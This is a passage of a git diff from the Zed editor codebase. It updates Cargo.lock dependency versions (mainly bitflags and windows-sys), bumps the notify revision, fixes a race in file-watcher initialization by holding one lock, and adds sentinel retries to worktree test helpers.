 checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "cfg_aliases 0.2.1",
  "libc",
@@ -11538,7 +11538,7 @@ version = "0.30.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "cfg_aliases 0.2.1",
  "libc",
@@ -11626,7 +11626,7 @@ version = "6.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6205bd8bb1e454ad2e27422015fb5e4f2bcc7e08fa8f27058670d208324a4d2d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "crossbeam-channel",
  "filetime",
  "fsevent-sys",
@@ -11642,9 +11642,9 @@ dependencies = [
 [[package]]
 name = "notify"
 version = "9.0.0-rc.4"
-source = "git+https://github.com/zed-industries/notify?rev=faecbc33db4f59313e5225ef766bfd9e54a54cfd#faecbc33db4f59313e5225ef766bfd9e54a54cfd"
+source = "git+https://github.com/zed-industries/notify?rev=0890bbb8ca40a4b5d1f67031698dd7918b37d991#0890bbb8ca40a4b5d1f67031698dd7918b37d991"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "inotify 0.11.0",
  "kqueue",
  "libc",
@@ -11686,9 +11686,9 @@ dependencies = [
 [[package]]
 name = "notify-types"
 version = "2.1.0"
-source = "git+https://github.com/zed-industries/notify?rev=faecbc33db4f59313e5225ef766bfd9e54a54cfd#faecbc33db4f59313e5225ef766bfd9e54a54cfd"
+source = "git+https://github.com/zed-industries/notify?rev=0890bbb8ca40a4b5d1f67031698dd7918b37d991#0890bbb8ca40a4b5d1f67031698dd7918b37d991"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -11706,7 +11706,7 @@ version = "0.50.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5"
 dependencies = [
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -11988,7 +11988,7 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e4e89ad9e3d7d297152b17d39ed92cd50ca8063a89a9fa569046d41568891eff"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.5.1",
  "libc",
  "objc2 0.5.2",
@@ -12004,7 +12004,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d49e936b501e5c5bf01fda3a9452ff86dc3ea98ad5f283e1455153142d97518c"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "objc2 0.6.3",
  "objc2-core-foundation",
  "objc2-foundation 0.3.2",
@@ -12016,7 +12016,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6948501a91121d6399b79abaa33a8aa4ea7857fe019f341b8c23ad6e81b79b08"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "libc",
  "objc2 0.6.3",
  "objc2-core-audio",
@@ -12054,7 +12054,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5a89f2ec274a0cf4a32642b2991e8b351a404d290da87bb6a9a9d8632490bd1c"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "objc2 0.6.3",
 ]
 
@@ -12064,7 +12064,7 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "617fbf49e071c178c0b24c080767db52958f716d9eabdf0890523aeae54773ef"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.5.1",
  "objc2 0.5.2",
  "objc2-foundation 0.2.2",
@@ -12076,7 +12076,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "dispatch2",
  "libc",
@@ -12127,7 +12127,7 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0ee638a5da3799329310ad4cfa62fbf045d5f56e3ef5ba4149e7452dcf89d5a8"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.5.1",
  "libc",
  "objc2 0.5.2",
@@ -12139,7 +12139,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "libc",
  "objc2 0.6.3",
@@ -12162,7 +12162,7 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "dd0cba1276f6023976a406a14ffa85e1fdd19df6b0f737b063b95f6c8c7aadd6"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.5.1",
  "objc2 0.5.2",
  "objc2-foundation 0.2.2",
@@ -12174,7 +12174,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a0125f776a10d00af4152d74616409f0d4a2053a6f57fa5b7d6aa2854ac04794"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "dispatch2",
  "objc2 0.6.3",
@@ -12188,7 +12188,7 @@ version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e42bee7bff906b14b167da2bac5efe6b6a07e6f7c0a21a7308d40c960242dc7a"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.5.1",
  "objc2 0.5.2",
  "objc2-foundation 0.2.2",
@@ -12201,7 +12201,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "objc2 0.6.3",
  "objc2-core-foundation",
  "objc2-foundation 0.3.2",
@@ -12214,7 +12214,7 @@ version = "0.3.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "objc2 0.6.3",
  "objc2-core-location",
@@ -12493,7 +12493,7 @@ version = "0.10.81"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "77823a27f0babb03091cb9ed9ef80af3b39dbc82f97e8fa530374b7dafd87a45"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cfg-if",
  "foreign-types 0.3.2",
  "libc",
@@ -13791,7 +13791,7 @@ version = "0.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "97baced388464909d42d89643fe4361939af9b7ce7a31ee32a168f832a70f2a0"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "crc32fast",
  "fdeflate",
  "flate2",
@@ -14075,7 +14075,7 @@ version = "0.17.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "239df02d8349b06fc07398a3a1697b06418223b1c7725085e801e7c0fc6a12ec"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "hex",
  "serde",
 ]
@@ -14322,7 +14322,7 @@ source = "git+https://github.com/proptest-rs/proptest?rev=3dca198a8fef1b32e3a66f
 dependencies = [
  "bit-set 0.8.0",
  "bit-vec 0.8.0",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "num-traits",
  "proptest-macro",
  "rand 0.9.4",
@@ -14538,7 +14538,7 @@ version = "0.10.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "76979bea66e7875e7509c4ec5300112b316af87fa7a252ca91c448b32dfe3993"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "memchr",
  "pulldown-cmark-escape 0.10.1",
  "unicase",
@@ -14550,7 +14550,7 @@ version = "0.12.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f86ba2052aebccc42cbbb3ed234b8b13ce76f75c3551a303cb2bcffcff12bb14"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "getopts",
  "memchr",
  "pulldown-cmark-escape 0.11.0",
@@ -14563,7 +14563,7 @@ version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1e8bbe1a966bd2f362681a44f6edce3c2310ac21e4d5067a6e7ec396297a6ea0"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "memchr",
  "unicase",
 ]
@@ -15076,7 +15076,7 @@ version = "0.5.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -15085,7 +15085,7 @@ version = "0.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4666a1a60d8412eab19d94f6d13dcc9cea0a5ef4fdf6a5db306537413c661b1b"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -15858,7 +15858,7 @@ version = "0.38.44"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "errno 0.3.14",
  "libc",
  "linux-raw-sys 0.4.15",
@@ -15871,11 +15871,11 @@ version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "errno 0.3.14",
  "libc",
  "linux-raw-sys 0.11.0",
- "windows-sys 0.61.2",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -16052,7 +16052,7 @@ version = "0.20.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fd3c7c96f8a08ee34eff8857b11b49b07d71d1c3f4e88f8a88d4c9e9f90b1702"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "core_maths",
  "log",
@@ -16380,7 +16380,7 @@ version = "0.1.0"
 dependencies = [
  "any_vec",
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "collections",
  "db",
  "editor",
@@ -16453,7 +16453,7 @@ version = "2.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.9.4",
  "core-foundation-sys",
  "libc",
@@ -16466,7 +16466,7 @@ version = "3.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b3297343eaf830f66ede390ea39da1d462b6b0c1b000f420d0a83f898bbbe6ef"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.10.0",
  "core-foundation-sys",
  "libc",
@@ -16489,7 +16489,7 @@ version = "0.35.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "93fdfed56cd634f04fe8b9ddf947ae3dc493483e819593d2ba17df9ad05db8b2"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cssparser 0.36.0",
  "derive_more",
  "log",
@@ -17341,7 +17341,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -17377,7 +17377,7 @@ version = "0.4.0+sdk-1.4.341.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d9571ea910ebd84c86af4b3ed27f9dbdc6ad06f17c5f96146b2b671e2976744f"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -17538,7 +17538,7 @@ dependencies = [
  "atoi",
  "base64 0.22.1",
  "bigdecimal",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "byteorder",
  "bytes 1.11.1",
  "chrono",
@@ -17585,7 +17585,7 @@ dependencies = [
  "atoi",
  "base64 0.22.1",
  "bigdecimal",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "byteorder",
  "chrono",
  "crc",
@@ -18240,7 +18240,7 @@ version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3c879d448e9d986b661742763247d3693ed13609438cf3d006f51f5368a5ba6b"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "core-foundation 0.9.4",
  "system-configuration-sys 0.6.0",
 ]
@@ -18284,7 +18284,7 @@ version = "0.27.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cc4592f674ce18521c2a81483873a49596655b179f71c5e05d10c1fe66c78745"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cap-fs-ext",
  "cap-std",
  "fd-lock",
@@ -18471,7 +18471,7 @@ dependencies = [
  "getrandom 0.3.4",
  "once_cell",
  "rustix 1.1.2",
- "windows-sys 0.61.2",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -19251,7 +19251,7 @@ version = "0.4.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytes 1.11.1",
  "futures-core",
  "futures-util",
@@ -19270,7 +19270,7 @@ version = "0.6.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytes 1.11.1",
  "futures-util",
  "http 1.3.1",
@@ -20296,7 +20296,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd"
 dependencies = [
  "arrayvec",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "cursor-icon",
  "log",
  "memchr",
@@ -20577,7 +20577,7 @@ version = "0.201.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "84e5df6dba6c0d7fafc63a450f1738451ed7a0b52295d83e868218fa286bf708"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "indexmap 2.14.0",
  "semver",
 ]
@@ -20588,7 +20588,7 @@ version = "0.227.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0f51cad774fb3c9461ab9bccc9c62dfb7388397b5deda31bf40e8108ccd678b2"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "hashbrown 0.15.5",
  "indexmap 2.14.0",
  "semver",
@@ -20600,7 +20600,7 @@ version = "0.236.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a9b1e81f3eb254cf7404a82cee6926a4a3ccc5aad80cc3d43608a070c67aa1d7"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "hashbrown 0.15.5",
  "indexmap 2.14.0",
  "semver",
@@ -20613,7 +20613,7 @@ version = "0.244.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "hashbrown 0.15.5",
  "indexmap 2.14.0",
  "semver",
@@ -20625,7 +20625,7 @@ version = "0.252.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "d3eb099dcadcde5be9eef55e3a337128efd4e44b4c93122487e4d2e4e1c6627c"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "hashbrown 0.17.1",
  "indexmap 2.14.0",
  "semver",
@@ -20652,7 +20652,7 @@ dependencies = [
  "addr2line",
  "anyhow",
  "async-trait",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bumpalo",
  "cc",
  "cfg-if",
@@ -20899,7 +20899,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7fd4703351476262d715b72431e80d10289908e3494050071d6521267f522d97"
 dependencies = [
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "heck 0.5.0",
  "indexmap 2.14.0",
  "wit-parser 0.236.1",
@@ -20913,7 +20913,7 @@ checksum = "21921b6e8e8ed876a288cb3b0b3aee68809fed8182ce26c9977ffc4af4cb77f6"
 dependencies = [
  "anyhow",
  "async-trait",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytes 1.11.1",
  "cap-fs-ext",
  "cap-net-ext",
@@ -21004,7 +21004,7 @@ version = "0.31.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c66a47e840dc20793f2264eb4b3e4ecb4b75d91c0dd4af04b456128e0bdd449d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "rustix 1.1.2",
  "wayland-backend",
  "wayland-scanner",
@@ -21027,7 +21027,7 @@ version = "0.32.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "efa790ed75fbfd71283bd2521a1cfdc022aabcc28bdcff00851f9e4ae88d9901"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "wayland-backend",
  "wayland-client",
  "wayland-scanner",
@@ -21039,7 +21039,7 @@ version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a07a14257c077ab3279987c4f8bb987851bf57081b93710381daea94f2c2c032"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "wayland-backend",
  "wayland-client",
  "wayland-protocols",
@@ -21052,7 +21052,7 @@ version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "efd94963ed43cf9938a090ca4f7da58eb55325ec8200c3848963e98dc25b78ec"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "wayland-backend",
  "wayland-client",
  "wayland-protocols",
@@ -21212,7 +21212,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "76e8840e1ba2881d4cbb18d2147627a56af426ff064c0401eb0c8410c6325d07"
 dependencies = [
  "arrayvec",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "cfg-if",
  "cfg_aliases 0.2.1",
@@ -21244,7 +21244,7 @@ dependencies = [
  "arrayvec",
  "bit-set 0.9.1",
  "bit-vec 0.9.1",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "cfg_aliases 0.2.1",
  "document-features",
@@ -21305,7 +21305,7 @@ dependencies = [
  "arrayvec",
  "ash",
  "bit-set 0.9.1",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "block2 0.6.2",
  "bytemuck",
  "cfg-if",
@@ -21365,7 +21365,7 @@ version = "29.0.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "84bf84cd9ca8ca45e2b223a3868f1adf9bfc0c66aeac212e76ee7e40fdadf8f5"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "bytemuck",
  "js-sys",
  "log",
@@ -21439,7 +21439,7 @@ checksum = "55a0751406b641ff50ef42d4a1ca843a03040c488c0c27f92093633447464013"
 dependencies = [
  "anyhow",
  "async-trait",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "thiserror 2.0.17",
  "tracing",
  "wasmtime",
@@ -21494,7 +21494,7 @@ version = "0.1.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"
 dependencies = [
- "windows-sys 0.61.2",
+ "windows-sys 0.52.0",
 ]
 
 [[package]]
@@ -22332,7 +22332,7 @@ version = "0.36.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3f3fd376f71958b862e7afb20cfe5a22830e1963462f3a17f49d82a6c1d1f42d"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "windows-sys 0.59.0",
 ]
 
@@ -22351,7 +22351,7 @@ version = "0.22.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "288f992ea30e6b5c531b52cdd5f3be81c148554b09ea416f058d16556ba92c27"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "wit-bindgen-rt 0.22.0",
  "wit-bindgen-rust-macro 0.22.0",
 ]
@@ -22425,7 +22425,7 @@ version = "0.41.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c4db52a11d4dfb0a59f194c064055794ee6564eb1ced88c25da2cf76e50c5621"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "futures 0.3.32",
  "once_cell",
 ]
@@ -22527,7 +22527,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "421c0c848a0660a8c22e2fd217929a0191f14476b68962afd2af89fd22e39825"
 dependencies = [
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "indexmap 2.14.0",
  "log",
  "serde",
@@ -22546,7 +22546,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "635c3adc595422cbf2341a17fb73a319669cc8d33deed3a48368a841df86b676"
 dependencies = [
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "indexmap 2.14.0",
  "log",
  "serde",
@@ -22565,7 +22565,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2"
 dependencies = [
  "anyhow",
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "indexmap 2.14.0",
  "log",
  "serde",
@@ -22883,7 +22883,7 @@ name = "xim-parser"
 version = "0.2.1"
 source = "git+https://github.com/zed-industries/xim-rs.git?rev=16f35a2c881b815a2b6cdfd6687988e84f8447d8#16f35a2c881b815a2b6cdfd6687988e84f8447d8"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
 ]
 
 [[package]]
@@ -23335,7 +23335,7 @@ name = "zed-font-kit"
 version = "0.14.1-zed"
 source = "git+https://github.com/zed-industries/font-kit?rev=94b0f28166665e8fd2f53ff6d268a14955c82269#94b0f28166665e8fd2f53ff6d268a14955c82269"
 dependencies = [
- "bitflags 2.10.0",
+ "bitflags 2.13.1",
  "byteorder",
  "core-foundation 0.10.0",
  "core-graphics 0.24.0",
diff --git a/Cargo.toml b/Cargo.toml
index 2dcb410a8fecce..5741492485d8be 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -961,8 +961,8 @@ windows-capture = { git = "https://github.com/zed-industries/windows-capture.git
 calloop = { git = "https://github.com/zed-industries/calloop" }
 livekit = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
 libwebrtc = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
-notify = { git = "https://github.com/zed-industries/notify", rev = "faecbc33db4f59313e5225ef766bfd9e54a54cfd" }
-notify-types = { git = "https://github.com/zed-industries/notify", rev = "faecbc33db4f59313e5225ef766bfd9e54a54cfd" }
+notify = { git = "https://github.com/zed-industries/notify", rev = "0890bbb8ca40a4b5d1f67031698dd7918b37d991" }
+notify-types = { git = "https://github.com/zed-industries/notify", rev = "0890bbb8ca40a4b5d1f67031698dd7918b37d991" }
 webrtc-sys = { git = "https://github.com/zed-industries/livekit-rust-sdks", rev = "d0e27be0cdad89eadab3e36207cda0a2b6e359ee" }
 
 [profile.dev]
diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 99664ae74802e2..59ee6ac9847b47 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -1046,35 +1046,37 @@ impl GlobalWatcher {
     }
 
     fn ensure_native_watcher(&self) -> anyhow::Result<()> {
-        if self.native_watcher.lock().is_some() {
-            return Ok(());
+        // The lock is held across creation: with a check-then-insert under two
+        // separate lock acquisitions, concurrent callers could each create a
+        // watcher and the loser's insert would silently drop the winner's
+        // watcher along with every path registered on it.
+        let mut native_watcher = self.native_watcher.lock();
+        if native_watcher.is_none() {
+            // CORE excludes Access events, which Zed discards anyway. Without this,
+            // the default mask subscribes to inotify OPEN/CLOSE_* on Linux, so every
+            // file read in a watched directory would queue events, increasing the
+            // risk of queue overflows (and thus full rescans) under read-heavy
+            // workloads like grep or language server indexing.
+            let config = notify::Config::default().with_event_kinds(notify::EventKindMask::CORE);
+            let watcher = <notify::RecommendedWatcher as notify::Watcher>::new(
+                |event| global_watcher().enqueue(WatcherMode::Native, event),
+                config,
+            )?;
+            *native_watcher = Some(Box::new(watcher));
         }
-
-        // CORE excludes Access events, which Zed discards anyway. Without this,
-        // the default mask subscribes to inotify OPEN/CLOSE_* on Linux, so every
-        // file read in a watched directory would queue events, increasing the
-        // risk of queue overflows (and thus full rescans) under read-heavy
-        // workloads like grep or language server indexing.
-        let config = notify::Config::default().with_event_kinds(notify::EventKindMask::CORE);
-        let watcher = <notify::RecommendedWatcher as notify::Watcher>::new(
-            |event| global_watcher().enqueue(WatcherMode::Native, event),
-            config,
-        )?;
-        *self.native_watcher.lock() = Some(Box::new(watcher));
         Ok(())
     }
 
     fn ensure_poll_watcher(&self) -> anyhow::Result<()> {
-        if self.poll_watcher.lock().is_some() {
-            return Ok(());
+        let mut poll_watcher = self.poll_watcher.lock();
+        if poll_watcher.is_none() {
+            let config = notify::Config::default().with_poll_interval(*POLL_INTERVAL);
+            let watcher = notify::PollWatcher::new(
+                |event| global_watcher().enqueue(WatcherMode::Poll, event),
+                config,
+            )?;
+            *poll_watcher = Some(Box::new(watcher));
         }
-
-        let config = notify::Config::default().with_poll_interval(*POLL_INTERVAL);
-        let watcher = notify::PollWatcher::new(
-            |event| global_watcher().enqueue(WatcherMode::Poll, event),
-            config,
-        )?;
-        *self.poll_watcher.lock() = Some(Box::new(watcher));
         Ok(())
     }
 }
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 9ca1fa52abc780..ee83eb6544982d 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -6379,10 +6379,16 @@ impl WorktreeModelHandle for Entity<Worktree> {
             };
 
             // Use select to avoid blocking indefinitely if events are delayed
+            let mut ticks = 0;
             while !file_exists() {
                 futures::select_biased! {
                     _ = events.next() => {}
-                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {}
+                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {
+                        ticks += 1;
+                        if ticks % SENTINEL_RETRY_TICKS == 0 {
+                            retouch_sentinel(fs.as_ref(), &root_path.join(file_name)).await;
+                        }
+                    }
                 }
             }
 
@@ -6399,10 +6405,16 @@ impl WorktreeModelHandle for Entity<Worktree> {
             };
 
             // Use select to avoid blocking indefinitely if events are delayed
+            let mut ticks = 0;
             while !file_gone() {
                 futures::select_biased! {
                     _ = events.next() => {}
-                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {}
+                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {
+                        ticks += 1;
+                        if ticks % SENTINEL_RETRY_TICKS == 0 {
+                            retouch_and_remove_sentinel(fs.as_ref(), &root_path.join(file_name)).await;
+                        }
+                    }
                 }
             }
 
@@ -6467,10 +6479,16 @@ impl WorktreeModelHandle for Entity<Worktree> {
                 .unwrap();
 
             // Use select to avoid blocking indefinitely if events are delayed
+            let mut ticks = 0;
             while !tree.update(cx, |tree, _| scan_id_increased(tree, &mut git_dir_scan_id)) {
                 futures::select_biased! {
                     _ = events.next() => {}
-                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {}
+                    _ = futures::FutureExt::fuse(cx.background_executor.timer(std::time::Duration::from_millis(10))) => {
+                        ticks += 1;
+                        if ticks % SENTINEL_RETRY_TICKS == 0 {
+                            retouch_sentinel(fs.as_ref(), &root_path.join(file_name)).await;
+                        }
+                    }
                 }
             }
 
@@ -6479,10 +6497,16 @@ impl WorktreeModelHandle for Entity<Worktree> {
                 .unwrap();
 
             // Use select to avoid blocking indefinitely if events are delayed
+            let mut ticks = 0;
             while !tree.update(cx, |tree, _| scan_id_increased(tree, &mut git_dir_scan_id)) {
                 futures::select_biased! {
                     _ = events.next() => {}
